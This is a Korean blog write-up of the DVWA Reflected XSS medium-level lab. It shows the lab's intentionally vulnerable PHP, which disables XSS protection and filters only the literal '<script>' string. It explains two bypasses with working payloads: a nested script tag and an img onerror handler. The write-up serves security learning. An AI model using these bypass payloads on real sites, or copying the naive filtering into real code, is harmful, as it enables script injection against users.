창 구성은 low 레벨과 같다.
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>
구성 코드이다.
low 레벨과는 다르게 str_replace 함수로 <script> 태그를 필터링한다.
필터링을 우회하기 위해서 두가지 방법을 사용할 수 있다.
첫번째로 str_replace 함수의 자체 취약점으로 <sc<script>ript> 이런식으로 작성을 해서 우회할 수 있다.
<sc<script>ript> alert(1)</script>
두번째로 script 태그 대신에 img 태그를 사용할 수 있다.
<img src="" onerror='alert(1)'>
이렇게 필터링을 우회해서 원하는 스크립트를 실행시킬 수 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA CSP Bypass(medium) 롸업 (0) | 2023.11.17 |
---|---|
DVWA XSS(Stored)(medium) 롸업 (0) | 2023.11.17 |
DVWA XSS(DOM)(medium) 롸업 (0) | 2023.11.16 |
DVWA Weak Session IDs(medium)롸업 (0) | 2023.11.16 |
DVWA Blind SQL Injection(medium) (0) | 2023.11.15 |